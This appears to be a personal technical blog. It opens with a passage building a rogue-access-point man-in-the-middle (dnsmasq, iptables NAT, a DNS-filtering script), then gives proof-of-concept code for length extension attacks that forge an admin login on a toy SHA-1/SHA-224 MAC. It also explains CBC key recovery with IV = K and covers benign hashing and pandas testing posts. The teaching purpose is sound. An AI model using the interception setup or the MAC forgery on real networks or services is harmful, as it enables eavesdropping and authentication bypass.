dnsmasq-dhcp: requested options: 1:netmask, 33:static-route, 3:router, 6:dns-server,
dnsmasq-dhcp: requested options: 15:domain-name, 28:broadcast, 51:lease-time,
dnsmasq-dhcp: requested options: 58:T1, 59:T2

dnsmasq-dhcp: next server: 10.23.0.1
dnsmasq-dhcp: sent size:  1 option: 53 message-type  2
dnsmasq-dhcp: sent size:  4 option: 54 server-identifier  10.23.0.1
dnsmasq-dhcp: sent size:  4 option: 51 lease-time  12h

dnsmasq-dhcp: sent size:  4 option:  1 netmask  255.255.255.0
dnsmasq-dhcp: sent size:  4 option: 28 broadcast  10.23.0.255
dnsmasq-dhcp: sent size:  4 option:  3 router  10.23.0.1
dnsmasq-dhcp: available DHCP range: 10.23.0.15 -- 10.23.0.88

dnsmasq-dhcp: DHCPREQUEST(apmitm) 10.23.0.35 cc:cc:cc:cc:cc:cc
dnsmasq-dhcp: tags: apmitm

dnsmasq-dhcp: DHCPACK(apmitm) 10.23.0.35 cc:cc:cc:cc:cc:cc
<...>

The target requests (among other things) an IP address for itself and the IP of the DNS server.

By the moment our dnsmasq only offers an IP address for the target.

Now the target has an IP but no internet.

The target issues some DNS queries but none are responded. In deed neither the man in the middle is forwarding those queries nor the dnsmasq is acting as a DNS server to respond them.

The target is connected but it will not have internet.

Configure a DNS server

We can instruct dnsmasq to work as a DNS forwarder just adding a valid port to its configuration. When the target requests an IP from the DHCP, it will also receive the DNS server IP.

$ cat dnsmasq-v2.conf
<...>
port=53
log-queries=extra

Let’s take a look at the dnsmasq logs. The DNS forwarding works but dnsmasq seems to be forwarding the queries to locahost or kind-of, it is forwarding to 127.0.0.53:

<...>
dnsmasq: 3 10.23.0.35/58954 query[A] pool.ntp.org from 10.23.0.35
dnsmasq: 3 10.23.0.35/58954 forwarded pool.ntp.org to 127.0.0.53
dnsmasq: 3 10.23.0.35/58954 reply pool.ntp.org is 162.159.200.123

In the logs it is clear why dnsmasq is doing this:

dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 127.0.0.53#53
dnsmasq: read /etc/hosts - 7 addresses

The default is to read /etc/resolv.conf and get the local machine’s upstream nameserver. In my case I’m running a local DNS server in that address. Moreover dnsmasq will server the entries from the local /etc/hosts too.

From dnsmasq perspective this is correct: it was designed to work as a local DNS forwarder for local queries and these defaults make it simple to install.

But we don’t want that; we want to have full control of the DNS. Luckly it is just a matter of a few extra options:

⊕ With server we say the upstream server and with no-resolv we ensure that dnsmasq will not pick any other.

no-hosts (as you may guess) disables reading /etc/hosts. The domain-needed makes dnsmasq to resolve full domains: queries for local domains are not resolved (think in a local name foo instead of a full domain foo.example.com).

$ cat dnsmasq-v3.conf
server=8.8.4.4

domain-needed
no-hosts
no-resolv

Now the output looks correct:

dnsmasq: 6 10.23.0.35/20969 query[A] pool.ntp.org from 10.23.0.35
dnsmasq: 6 10.23.0.35/20969 forwarded pool.ntp.org to 8.8.4.4
dnsmasq: 6 10.23.0.35/20969 reply pool.ntp.org is 162.159.200.123

Route the target’s packets

Now that we have the DNS working the target is resolving the domains but the TCP connections fail. Our man in the middle is not acting as a router so all the packets not destined to it are dropped.

The target tries to connect (TCP) but it just doesn’t receive any response back. The problem is that mitm is not acting as a router.

First we need to setup some routes:

an entry to direct the traffic coming from the target and destined to elsewhere should go to the man in the middle’s gateway
an entry to direct the traffic back to the targets, but only if it is destined to its network

These two routes should work:

$ ip route show

default via 192.168.0.1 dev wlan0 proto dhcp metric 600
10.23.0.0/24 dev apmitm proto kernel scope link src 10.23.0.1

But it is not enough. Linux will not forward packets by default: we need to allow which packets can be forwarded (via iptables) and tell the kernel that we want to work as a router (with the ip_forward variable)

Route packets from the target

⊕ With -P FORWARD DROP we drop any packet unless it is explicitly allowed (we don’t want to forward anything).

The other two rules allow the forwarding only if they come from target’s network (-s 10.23.0.0/24) and from the expected interface (-i apmitm).

$ iptables -P FORWARD DROP
$ iptables -A FORWARD -s 10.23.0.0/24 -p tcp -i apmitm -j ACCEPT
$ iptables -A FORWARD -s 10.23.0.0/24 -p udp -i apmitm -j ACCEPT

$ echo  1 > /proc/sys/net/ipv4/ip_forward

And this works… almost. While the packets from the target are forwarded to the gateway, it is the gateway now that it is dropping the packets.

The gateway expects packets from its network 192.168.0.0/24 and the packets come from the other network 10.23.0.0/24.

We need to setup a network address translator (NAT) to map any outgoing packet from the other network to the man in the middle’s own address so the gateway will think that the packets come from us.

The magic of NAT is that the packets back to us (with our address) will be reverse-mapped to the original target’s IP.

$ iptables -t nat -A POSTROUTING -s 10.23.0.0/24 -o wlan0 -j MASQUERADE

Route packets to the target

Finally, we need two more forwarding rules for packets destined to target’s network:

$ iptables -A FORWARD -d 10.23.0.0/24 -p tcp -i wlan0 -j ACCEPT
$ iptables -A FORWARD -d 10.23.0.0/24 -p udp -i wlan0 -j ACCEPT

But…

Ensure full control of the DNS

There are two subtle problems that I only spotted sniffing with wireshark:

the target is issuing DNS queries to 8.8.8.8. It seems that the target uses it not just as a fallback but as second opinion (aka “I don’t trust in the DNS server offered by the DHCP so I will use mine”)
the target is also issuing DNS queries of unexpected type. dnsmasq has no problem to forward those but it has not capabilities to block them in anyway (so we loose the control of the DNS responses)

The target querying 8.8.8.8. Why does it work? It is not because dnsmasq is forwarding the queries at the DNS layer but because the man in the middle box is forwarding (routing) the UDP packets.

Unknown DNS query. Actually is not unknown but my wireshark does not know about it. It is used for some https stuff.

So we want two things:

reject any DNS request unless it is sent to our dnsmasq (the target will receive ICMP destination unreachable)
drop any DNS request directed to our dnsmasq that it is neither A nor AAAA types (just we are not responding to those queries)

The reject is just a matter of adding a firewall rule:

⊕ Alternatively you could redirect the packets to dnsmasq instead of rejecting them.

$ iptables -A FORWARD -s 10.23.0.0/24 -p udp --dport 53 -i apmitm -j REJECT

The drop is much trickier: dnsmasq does not have a way to block these types of queries and iptables works only at the L3 layer and it doesn’t know how to parse DNS.

Luckily, we can delegate the accept/reject/drop decision to an user application with nfqueue.

$ iptables -A INPUT -s 10.23.0.0/24 -p udp --dport 53 -j NFQUEUE --queue-num 1

Now we need to run a program that reads from that queue and decide if the UDP packet is accepted or dropped.

⊕ The handle function takes a packet nf object and builds a scapy IP. Then, if it is a DNS query and all the questions are of type A or AAAA, accept the packet; otherwise drop it.

To get these nf packets from the queue created by iptables, we use the NetfilterQueue wrapper: we bind to the handle function to the queue and we create and run a UNIX socket.

To make it run you need to install dev libraries build-essential, python3-dev and libnetfilter-queue-dev (with apt-get) and then install the Python packages NetfilterQueue and scapy (with pip)

Then run the script as root.

from netfilterqueue import NetfilterQueue
import socket
from scapy.all import *

def handle(nfpkt):
    pkt = IP(nfpkt.get_payload())

    # Check if it's a DNS query packet (qr=0)
    if DNS in pkt and pkt[DNS].qr == 0:
        queries = pkt[DNS].qd

        for query in queries:
            # Check for A (IPv4) and AAAA (IPv6)
            if query.qtype != 1 and query.qtype != 28:
                nfpkt.drop()
                return

        nfpkt.accept()
        return True

    nfpkt.drop()
    return


nfqueue = NetfilterQueue()
nfqueue.bind(1, handle)
s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM)
try:
    nfqueue.run_socket(s)
except KeyboardInterrupt:
    pass
finally:
    s.close()
    nfqueue.unbind()

Finally thoughts

I didn’t explore how to trick the target to connect us instead the access point. It has its little tricks but for this post was too much.

dnsmasq really made everything easy but it falls short when we need to handle and customize how we want to responde to each DNS query. We cast some iptables spells but clearly dnsmasq is not designed for this use case.

Nevertheless it was an opportunity to play with NFQUEUE.

And on top of all of that: sniff, always work with wireshark open on both interfaces. Not only gives you insight of what is happening or why it is not working, but also you may found things that you never thought before.

Follow up: Length Extension Attack on SHA-224

2023-04-09T00:00:00+00:00

In the previous post we reviewed why and how an extension length attack is possible on some hash function and how we can use it to break a prefix-keyed MAC.

Long story short: when the full internal state of the hashing is exposed, an extension attack is possibly.

So hash functions that don’t expose their internal state are okay, right?

Yes in general but the devil is in the details…

SHA-224 does not expose its full state and it is one of those “safe” hash functions (sometimes it is found in the literature as such) but…

In this quick post we will see why SHA-224 is vulnerable to length extension attack even if its internal state is not fully exposed.

What is SHA-224?

SHA-224 is based on SHA-256.

It has 8 uint32_t registers like SHA-256 but the hash digest is made of all except the last register, yielding hashes of 224 bits instead of 256 bits.

At first glance this truncated output should prevent a length extension attack but take a closer look.

Only 32 bits are missing!

Scenario setup

Like in the previous post, we will assume a login() function that verifies the authenticity of a login request, this time using SHA-224

>>> login_req = B('user=john;comment=cheese')
>>> mac = prefix_key_hash(sha224, key, login_req)

>>> login(login_req, mac)
Logged as normal user
True

The attack

From the digest we extract 7 of the 8 state registers. Only 2 unknowns remains: the length of the original message (including the secret key) and the value of the 8th register h7

>>> h0, h1, h2, h3, h4, h5, h6 = extract_hash_fun_state(mac)
>>> ('%08x%08x%08x%08x%08x%08x%08x' % (h0, h1, h2, h3, h4, h5, h6)) == mac
True

⊕ Brute-forcing $2^{32}$ is perfectly possible but a little slow for me so I would do some cheating: the magic number 777489100 was picked on purpose to speedup the things.

We compute the Cartesian product of the two IntSpace to describe any possible message length and h7 combination:

>>> from cryptonita.space import IntSpace, product

>>> minimum = len(login_req)
>>> msg_length_space = IntSpace(minimum, minimum+256, start=minimum+16)

>>> h7_space = IntSpace(0, 0xffffffff, start=777489100)

>>> params_space = product(h7_space, msg_length_space)

As before we need an oracle function to tell us if a particular message length/h7 combination produced a valid MAC or not:

>>> def is_ok(params):
...     h7, msg_length = params
...
...     pad = pad_like_sha224(msg_length)
...     new_mac = sha224(b'', h0, h1, h2, h3, h4, h5, h6, h7, forged_message_len=msg_length+len(pad))
...
...     new_login_req = login_req + pad
...     return login(new_login_req, new_mac, verbose=False)

Explore the parameters space…

>>> from cryptonita.attacks import search

>>> brute_forced_h7, guessed_msg_length = search(params_space, is_ok)    # byexample: +timeout=30

>>> (brute_forced_h7, guessed_msg_length)
(777489071, 30)

And finally forge the MAC and profit!

>>> ext = B(';admin=True')

>>> pad = pad_like_sha224(guessed_msg_length)

>>> new_login_req = login_req + pad + ext

>>> new_mac = sha224(ext, h0, h1, h2, h3, h4, h5, h6, brute_forced_h7, forged_message_len=guessed_msg_length + len(pad) + len(ext))

>>> login(new_login_req, new_mac)
Logged as admin
True

Final thoughts

We were lucky: for SHA-224 only 32 bits are missing. Other truncated hashes are much harder to break.

For example SHA-512/224 is the 224 bits version based on SHA-512: 228 bits are missing!

Nevertheless take this as a lesson: do not overlook, sometimes you may find vulnerabilities and attack vectors just by seeing the things closely.

Keyed Hash Length Extension Attack

2023-04-05T00:00:00+00:00

How can we know if a message is authentic or not?

A trusted party with access to a private key $k$ can compute an authentication code or MAC.

⊕ Compute the message authentication code (MAC) doing $H(k ∥ m)$.

In theory only who knows the secret key $k$ can create and verify those, but no, this schema es broken.

This post covers matasano challenges from 28 to 30 so spoiler alert.

A keyed hash prefixes the message with the key $k$ and computes a hash like SHA-1. The resulting hash is the MAC for the given message.

Then, someone that knows also $k$ can verify if a message is authentic or not computing the MAC and comparing it with the one provided with the message.

If the computed hash matches the one provided, the message is authentic, otherwise it is not.

Unfortunately this prefix-keyed hash for MAC is broken.

Some very well known hash functions expose their internal states that allows an adversary to append data to the message and continue the hash computation and generate a new valid MAC.

Hence the name “length extension attack”.

Overview of keyed SHA-1

Let’s take a look as how SHA-1 is used as a MAC.

The plaintext message is prefixed with the secret key and hashed.

SHA-1 pads the inputs to encode its length and to end with data multiple of 64 bytes (512 bits).

The padding is a single bit 1 followed by a bunch of bits 0.

The last 8 bytes of the padding are reserved for storing the length of the un-padded input in bits.

Hash’s states

Initially SHA-1 begins with a well known state (composed by 5 uint32_t integers).

h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0

Once the input is padded, the resulting data is chopped into 64 bytes blocks and for each block the state of the hash evolves.

Starting from the initial state $h_0$, it evolves to $h_1$ after having processed the block $b_0$. Then, it evolves to $h_2$ after the block $b_1$ and so on.

The final state is then used to compute the final hash.

Note how the hash states $h_1$ depends of the first block $b_0$ that contains the secret key (or at least the begin of it).

Therefore, the $h_1$ cannot be guessed by an adversary or any other internal state.

The final state however is totally exposed by SHA-1: the concatenation of the state’s variables is the resulting hash.

def sha1(msg):
    h0 = 0x67452301
    h1 = 0xEFCDAB89
    h2 = 0x98BADCFE
    h3 = 0x10325476
    h4 = 0xC3D2E1F0

    # pad msg and evolve h0, h1, h2, h3, h4
    # ....

    return '%08x%08x%08x%08x%08x' % (h0, h1, h2, h3, h4)

And that can be a problem.

Length Extension Attack

The idea is to recover the hashing state from a MAC and continue the hashing as if we were hashing a longer message.

This allows us to extend a authentic message with arbitrary payload and compute a valid MAC for it without knowing the secret key.

In the diagram below, we take the original MAC (the “final” hash state $h_8$) and compute the hash of the “remaining” message ext.

Knowing $H(k ∥ ptext)$ we use it as the starting state and compute $H(ext)$.

The resulting hash will be equivalent to $H(k ∥ ptext ∥ pad ∥ ext)$: a valid MAC for the message $ptext ∥ pad ∥ ext$.

An adversary can submit $ptext ∥ pad ∥ ext$ and pass it as authentic without knowing the key $k$.

$ptext$ is assumed to be known by the adversary; $pad$ isn’t but it can be guessed.

The extended message must be padded as if we were padding the whole message: in $pad'$ we need to write the length of the whole message.

From the perspective of SHA-1 the whole input is the original message $ptext$, the padding of the original SHA-1 call and the appended message $ext$.

In other words, we compute $H(ext)$ starting not from the initial hashing state $h_0$ but from $h_8 = H(k ∥ ptext)$.

The resulting hash will be equivalent to compute $H(k ∥ ptext ∥ pad ∥ ext)$ but without the requiring of knowing the key.

Proof of concept (code!)

Assume that someone checks is the user is admin or not verifying and reviewing a plaintext.

>>> from cryptonita import B
>>> from cryptonita.toys.hashes.sha1 import sha1
>>> from cryptonita.toys.hashes.keyed import prefix_key_hash

>>> key = B('foobar') # unknown

>>> def login(login_req, unverified_hash, verbose=True):
...     h = prefix_key_hash(sha1, key, login_req)
...     if h != unverified_hash:
...         if verbose: print("Bad MAC. Login aborted.")
...         return False
...
...     if b"admin=True" in login_req.split(b";"):
...         if verbose: print("Logged as admin")
...     else:
...         if verbose: print("Logged as normal user")
...
...     return True

So a normal user would be logged as a “normal user”

>>> login_req = B('user=john;comment=cheese')
>>> mac = prefix_key_hash(sha1, key, login_req)

>>> login(login_req, mac)
Logged as normal user
True

Without knowing the key we cannot just “hack” the logging request and pretend to be admin:

>>> login(login_req + B(';admin=True') , mac)
Bad MAC. Login aborted.
False

But we can do an length extension attack.

Get the hash state from the MAC

First, we extract the hash state (a fancy way to say “decode 5 uint32_t”):

>>> from cryptonita.conv import repack
>>> def extract_hash_fun_state(hash_hex):
...     words_bytes = B(hash_hex, encoding=16).nblocks(4)
...
...     return repack(words_bytes, ifmt='4s', ofmt='>I')

>>> h0, h1, h2, h3, h4 = extract_hash_fun_state(mac)
>>> ('%08x%08x%08x%08x%08x' % (h0, h1, h2, h3, h4)) == mac
True

Guess the padding

Let’s create a padding function like SHA-1 defines based on a given message length:

>>> def pad_like_sha1(msg_length):
...     bit_len = msg_length * 8
...
...     # Padding used by SHA1
...     padding = b'\x80'
...     padding += b'\x00' * ((56 - (msg_length + 1) % 64) % 64)
...     padding += bit_len.to_bytes(8, 'big')
...
...     return padding

We know the length of login_req but we don’t know the length of key so we cannot reconstruct the original padding of the original MAC.

Nevertheless it can be brute-forced.

Basically we create a pad for a possible message length and extend the hashing of the original MAC with an empty string.

Then we submit to login the new login request with the new (forged) MAC and see if it is valid or not:

>>> def is_ok(msg_length):
...     pad = pad_like_sha1(msg_length)
...     new_mac = sha1(b'', h0, h1, h2, h3, h4, forged_message_len=msg_length+len(pad))
...
...     new_login_req = login_req + pad
...     return login(new_login_req, new_mac, verbose=False)

The minimum message length is the length of the plaintext (login_req); an educated guess for the key length would be 16 and a maximum of 256.

So the space is defined as:

>>> from cryptonita.space import IntSpace

>>> minimum = len(login_req)
>>> msg_length_space = IntSpace(minimum, minimum+256, start=minimum+16)

Let’s use is_ok as an oracle function to explore the space of possible lengths.

>>> from cryptonita.attacks import search

>>> guessed_msg_length = search(msg_length_space, is_ok)
>>> guessed_msg_length
30

Now we can extend the original login_req with anything and compute for it a valid MAC.

>>> ext = B(';admin=True')

>>> pad = pad_like_sha1(guessed_msg_length)

>>> new_login_req = login_req + pad + ext

>>> new_mac = sha1(ext, h0, h1, h2, h3, h4, forged_message_len=guessed_msg_length + len(pad) + len(ext))

>>> login(new_login_req, new_mac)
Logged as admin
True

Note how login_req + pad will be always part of your messages.

Therefore it could be possible that a more sophisticated login function may detect the forgery but certainly it was not the crypto so prefix-keyed hashes as MAC are a bad idea.

Beyond SHA-1

SHA-1 exposes its entire state but it is not the only one.

⊕ Check hash_extender tool

The bibliography says that more are susceptible:

MD4
MD5
RIPEMD-160
SHA-0
SHA-1
SHA-256
SHA-512
WHIRLPOOL

This doesn’t mean that those are broken: a hash function by itself not really care if you can extend the hashing.

It is when a MAC is constructed as $H(k ∥ m)$ when the extension capability becomes a problem and breaks the MAC construction.

While you could use a hash function that does not expose all its internal state (like SHA-512/224) it is still a too risky decision.

And the suffix-keyed hash, $H(m ∥ k)$, is also broken but it is not so trivial (it requires a collision).

Prefer HMAC instead.

Tabulation Hashing Implementation and Analysis

2023-03-30T00:00:00+00:00

There are a lot of hash algorithms for different use cases but tabulation hashing caught my attention years ago for its incredible simplicity and nice independence properties.

Fast and simple.

I will explore a cython implementation and see how fast really is.

What is a tabulation hashing?

The idea is to take keys of $k$ bits and convert them into hashes of $h$ bits.

We split the key into chunks of $c$ bits and we construct a table of random numbers of $h$ bits each.

This table will have one row per chunk and each row will be $2^c$ numbers long.

The tabulation hashing is completed defined then by these parameters:

key of $k$ bits
hash of $h$ bits
chunk of $c$ bits

While in theory we can choose any value, the size of a chunk ($c$) should be small as the rows grows exponentially ($2^c$) and we want small tables to keep them in the cache.

And how a key is actually hashed? The following diagrams should explain it:

Hash a key in 3 simple steps:

1.- Take the key, split it into $k/c$ chunks.

2.- Use each to index each row of the table obtaining then $k/c$ random numbers of $h$ bits.

3.- Finally xor’ them and the result will be the hash of the key.

`cython` implementation

While we have 3 free parameters, I will restrict these:

keys of 32 or 64 bits
hashes of 32 or 64 bits
chunk of 8 bits

We could code a specific implementation for each key/hash bit size but cython thankfully supports a kind of C++ templates called fused types

So, here are the definitions:

from libc.stdint cimport uint32_t, uint64_t

ctypedef fused key_dtype:
    uint32_t
    uint64_t

ctypedef fused hash_dtype:
    uint32_t
    uint64_t

Now let’s write a single generic hash function:

@cython.boundscheck(False)
@cython.wraparound(False)
@cython.infer_types(True)
cdef inline hash_dtype c_hash_x(key_dtype k, hash_dtype[::1] table) nogil:
    cdef:
        hash_dtype h = 0, h0, h1, h2, h3, h4, h5, h6, h7
        key_dtype k0, k1, k2, k3, k4, k5, k6, k7

    k0 = k & 0x000000ff
    k1 = (k >> 8) & 0x000000ff
    k2 = (k >> 16) & 0x000000ff
    k3 = (k >> 24) & 0x000000ff

    h0 = table[k0]
    h1 = table[k1 + 256]
    h2 = table[k2 + 256 * 2]
    h3 = table[k3 + 256 * 3]

    h = h0 ^ h1 ^ h2 ^ h3

    if key_dtype is uint64_t:
        k4 = (k >> 32) & 0x000000ff
        k5 = (k >> 40) & 0x000000ff
        k6 = (k >> 48) & 0x000000ff
        k7 = (k >> 56) & 0x000000ff

        h4 = table[k4 + 256 * 4]
        h5 = table[k5 + 256 * 5]
        h6 = table[k6 + 256 * 6]
        h7 = table[k7 + 256 * 7]

        h ^= h4 ^ h5 ^ h6 ^ h7

    return h

Few notes of the implementation:

cython will replace key_dtype and hash_dtype by the specific types (uint32_t and uint64_t) doing a cross product of types. In this case cython will generate 4 functions in total.
the conditional if key_dtype is uint64_t is resolved by cython in compile time so it is a handy way to write conditional code without the C preprocessor.
hash_dtype[::1] table tells to cython that we expect a memory view, in particular an unidimensional contiguous array (faster access).
with @cython.boundscheck(False) and @cython.wraparound(False) we will be playing with the table as a plain C array (faster access): no out of bound exceptions or fancy Pythonic indexing.
the entire c_hash_x function does not use any Python object: everything is C data. In such case we can release the GIL during its execution with nogil (concurrent friendly)

c_hash_x is a cdef function that means it can be called only from within C code.

To make it accessible from Python we code:

def hash_x(key_dtype k, hash_dtype[::1] table):
    return c_hash_x(k, table)

C functions are static by default so the C compiler should optimize the call. In fact, I marked c_hash_x as inline to hint the compiler.

Hash a vector of keys

The tabulation hashing shines when we hash a vector of keys as much of the table rows will be in the cache.

The cython code is:

@cython.boundscheck(False)
@cython.wraparound(False)
@cython.infer_types(True)
@cython.cdivision(True)
def hash_vec_full(key_dtype[::1] kvec, hash_dtype[::1] table, hash_dtype[::1] out):
    cdef:
        hash_dtype hi, h
        key_dtype k, xi

        uint32_t vec_size = kvec.shape[0]
        uint32_t row, shift, rebase
        uint32_t nrows

    with nogil:
        for i in range(0, vec_size):
            k = kvec[i]

            h = c_hash_x[key_dtype, hash_dtype](k, table)
            out[i] = h

A few notes:

as before we require the arrays to be contiguous
a Python function cannot be marked as nogil but we can mark as subpart of it with a context manager
the c_hash_x[key_dtype, hash_dtype] tells cython to call the specialized c_hash_x function for those types.

Runtime performance

I’ll analyse the 1.0.1 version of the tabulation hashing implementation.

For comparison I will use a simple linear hashing:

h = (a * k + b)     (mod N)

Where a and b are random numbers of $h$ bits and N is $2^h$

The beauty of this function is that is really simple and fast because we can use numpy to write a vectorized version to hash several keys in one shot.

Comparison of elapsed time (in nanoseconds) of tabulation hashing and linear hashing for a 32-32 $k$-$h$ bits on the left and 64-64 bits on the right.

The experiment run 1000 times for each setting and the plot shows the minimum elapsed time for each.

The error (dispersion) of the metric is too tiny to be visible but a more detailed analysis of the noise in the measurement is provided bellow.

Here the order means datasets of $2^{order}$ random numbers to hash.

Linear hashing performs better than tabulation hashing, probably because numpy is well optimized for computing a multiplication and a addition in a vectorized fashion.

In contrast my cython implementation does not take any advantage of such instructions.

Nevertheless tabulation hashing shows a consistent performance across the different datasets.

Note also that the performance of the linear hashing gets worst on larger datasets. The why is an open question.

For reference here is the code for plotting and raw dataset.

Noise measurement evaluation

Dispersion of the elapsed time measured in each experiment (in nanoseconds). On top is tabulation hashing, on bottom is linear hashing.

Here we can see how the elapsed times of linear hashing are left-shifted meaning that it ran faster than tabulation hashing.

But the dispersion density is much interesting!

For tabulation hashing we have very high peaks that means smaller dispersion of the measurements.

Tabulation hashing in mostly affected by cache misses as it is primary a set of memory lookups.

Linear hashing may use the ALU more intensively. Would this explain the dispersion?

I’m not sure: I disabled hyperthreading/SMT and isolated the CPUs for the experiment so nobody should had interfered with the ALU.

Conclusions and further research

Tabulation hashing is slower than linear hashing but close.

The comparison however is not taking into account that a linear hashing has less math properties than the tabulation hashing.

For example the latter is 3-way independence that some applications require and a linear hashing would not be applicable.

My cython implementation does not make any of vectorized memory access nor parallelism so it is not exploiting the full capabilities of a modern CPU.

Something that I may explore in the future.

Key Recovering from CBC with `IV = K`{.mathjax}

2023-01-23T00:00:00+00:00

CBC requires an initialization vector (IV) that needs to be agreed by both encryption and decryption peers.

IV needs to be random so you may be get tempted and use the secret key as IV.

No, please don’t.

The IV is not required to be secret and there is a good reason for that: it can be recovered with a single chosen ciphertext attack.

Using $IV = K$ means that the adversary can recover the secret key with a single message.

In this post I describe the attack in 3 simple diagrams.

Setup

Encryption of a plaintext.

Note how the secret key is used incorrectly as IV.

Chosen ciphertext

Decryption of a chosen ciphertext.

It is a 3-block ciphertext with the first and third blocks being the same and the block in the between being full of zeros.

Note that $c_1$ can be an arbitrary encrypted block.

Key recovering

The third block is decrypted and then xored with zeros, making the xor a no-operation.

This leaves the direct decryption $D[c_1]$ at the end of the plaintext.

This is the same value obtained for the first ciphertext block before the xor with the IV.

Knowing the first block of the plaintext then it is possible to recover the IV.

This is in general true for any CBC setup and it does not imply any vulnerability as the IV does not require to be secret.

But as in this case, if the IV was initialized with the secret key, this now becomes a real attack with a full recover of the key.

Diff Between Data Frames for Testing

2022-10-01T00:00:00+00:00

Let’s say that we want to compare two Pandas’ dataframes for unit testing.

One is the expected dataframe, crafted by us and it will be the source of truth for the test.

The other is the obtained dataframe that is the result of the experiment that we want to check.

Doing a naive comparison will not work: first we may want to tolerate some minor differences due computation imprecision; and second, and most important, we don’t want to know just if the dataframes are different or not

We want to know where are the differences.

Knowing exactly what is different makes the debugging much easier – trying to figure out which column in which row there is a different by hand is not fun.

Comparison row-by-row (the naive approach)

Pandas has a beautiful assert_frame_equal function for unit testing: it compares the dataframes row by row and shows which column has some differences and how many there are.

Considere the following dataframes:

>>> import pandas as pd

>>> expected_df = pd.DataFrame({
...     'name':    ['alice',  'bob',   'alice', 'charlie'],
...     'subject': [ 'math', 'math', 'physics',    'math'],
...     'grade':   [      5,      4,         4,         5],
... })

>>> obtained_df = pd.DataFrame({
...     'name':    [  'alice',   'bob',  'alice', 'charlie'],
...     'subject': ['physics',  'math',   'math',    'math'],
...     'grade':   [        4,       4,        3,         2],
... })

Now let’s use assert_frame_equal:

>>> from pandas.testing import assert_frame_equal
>>> assert_frame_equal(
...     obtained_df,
...     expected_df,
...     check_exact=True,
...     check_like=True,
...     check_dtype=False
... )
Traceback (most recent call last):
<...>
AssertionError: DataFrame.iloc[:, 1] (column name="subject") are different
<...>
DataFrame.iloc[:, 1] (column name="subject") values are different (50.0 %)
[index]: [0, 1, 2, 3]
[left]:  [physics, math, math, math]
[right]: [math, math, physics, math]

So assert_frame_equal detected that half of the rows are different on the "subject" column.

With a closer inspection on the left and right series we see that the first and third values are different (physics/math and math/physics).

Now if you see dataframes obtained_df and expected_df you will see that it is more likely to interpret this difference as an reorder of the rows and not as a real discrepancy (unless you are really wanting to have a specific order).

Make the comparison order-insensitive

assert_frame_equal alone is not enough as it is sensible to reorders.

⊕ The reset_index is required because sort_values preserves the index: each row remember its original position. assert_frame_equal checks by index so it will revert the sort.

Let’s try to sort the rows before the check then:

>>> sort_by = ["subject"]

>>> ob = obtained_df.sort_values(sort_by).reset_index(drop=True)
>>> ex = expected_df.sort_values(sort_by).reset_index(drop=True)

>>> assert_frame_equal(
...     ob,
...     ex,
...     check_exact=True,
...     check_like=True,
...     check_dtype=False
... )
Traceback<...>
AssertionError: DataFrame.iloc[:, 0] (column name="name") are different
<...>
DataFrame.iloc[:, 0] (column name="name") values are different (50.0 %)
[index]: [0, 1, 2, 3]
[left]:  [bob, alice, charlie, alice]
[right]: [alice, bob, charlie, alice]

Mmm… more noise… perhaps sorting by "name" and "subject"?

>>> sort_by = ["name", "subject"]

>>> ob = obtained_df.sort_values(sort_by).reset_index(drop=True)
>>> ex = expected_df.sort_values(sort_by).reset_index(drop=True)

>>> assert_frame_equal(
...     ob,
...     ex,
...     check_exact=True,
...     check_like=True,
...     check_dtype=False
... )
Traceback<...>
AssertionError: DataFrame.iloc[:, 2] (column name="grade") are different
<...>
DataFrame.iloc[:, 2] (column name="grade") values are different (50.0 %)
[index]: [0, 1, 2, 3]
[left]:  [3, 4, 4, 2]
[right]: [5, 4, 4, 5]

Better, I guess.

Sorting solves the reorder problem but it is still hard to interpret the results.

Even with this example of just 4 rows, there are too many rows!

More over, assert_frame_equal is not helpful when the dataframes has a different size, it just says that and that it :|

>>> ob.loc[len(ob.index)] = ["alice", "algebra", 3]

>>> assert_frame_equal(
...     ob,
...     ex,
...     check_exact=True,
...     check_like=True,
...     check_dtype=False
... )
<...>
AssertionError: DataFrame are different
<...>
DataFrame shape mismatch
[left]:  (5, 3)
[right]: (4, 3)

Comparing group-by-group

Instead of comparing row by row we could group the rows under some key and compare then each row within each group.

>>> group_by = ["name", "subject"]

>>> obtained_g = obtained_df.groupby(group_by, dropna=False)
>>> expected_g = expected_df.groupby(group_by, dropna=False)

The intuition is that we will get fewer differences between groups and possibly more meaningful.

Here we get which groups do we have in common:

>>> obtained_group_names = {key for key, item in obtained_g}
>>> expected_group_names = {key for key, item in expected_g}

>>> common_group_names = obtained_group_names & expected_group_names
>>> sorted(common_group_names)
[('alice', 'math'), ('alice', 'physics'), ('bob', 'math'), ('charlie', 'math')]

Now for each group we compare them using assert_frame_equal:

>>> name = ('alice', 'math')
>>> ob = pd.DataFrame(obtained_g.get_group(name).reset_index(drop=True))
>>> ex = pd.DataFrame(expected_g.get_group(name).reset_index(drop=True))

>>> assert_frame_equal(
...     ob,
...     ex,
...     check_exact=True,
...     check_like=True,
...     check_dtype=False
... )
Traceback<...>
AssertionError: DataFrame.iloc[:, 2] (column name="grade") are different
<...>
DataFrame.iloc[:, 2] (column name="grade") values are different (100.0 %)
[index]: [0]
[left]:  [3]
[right]: [5]

Now it is clear that Alice got a grade of 3 in her Math class but it was expected to get a 5.

⊕ pd.concat will put the rows of one dataframe after the rows of the other preserving their original indexes.

Sorting by index then will make the first row of the expected appear after the first row of the obtained, the second row of the expected appear after the second row of the obtained and so on.

We could pretty print the group interleaving the rows of the obtained and expected dataframes so we can compare them line by line:

>>> ob["DF"] = "obtained"
>>> ex["DF"] = "expected"

>>> merged = pd.concat([ob, ex]).sort_index()
>>> merged
    name subject  grade        DF
0  alice    math      3  obtained
0  alice    math      5  expected

Much better!

Putting all this together

The plan is:

group by some columns to compare smaller groups
sort the rows of each group to make the comparison order-insensitive.
call assert_frame_equal on each common group and add the differences found to the list of differences.
add to the list any unexpected and missing group
if the list is not empty, raise AssertionError

⊕ Updated version: code

This is the code:

>>> def assert_df_equal(obtained_df, expected_df, group_by=[], sort_by=[], check_exact=True, rtol=1e-5, atol=1e-8, to_string_kwargs={}):
...     diffs = []
...
...     # See the whole dataframe as the single group in case of
...     # the user don't wanting to group the rows
...     singleton_group = False
...     if not group_by:
...         group_by = lambda *args: singleton_group
...         singleton_group = True
...
...     obtained_g = obtained_df.groupby(group_by, dropna=False)
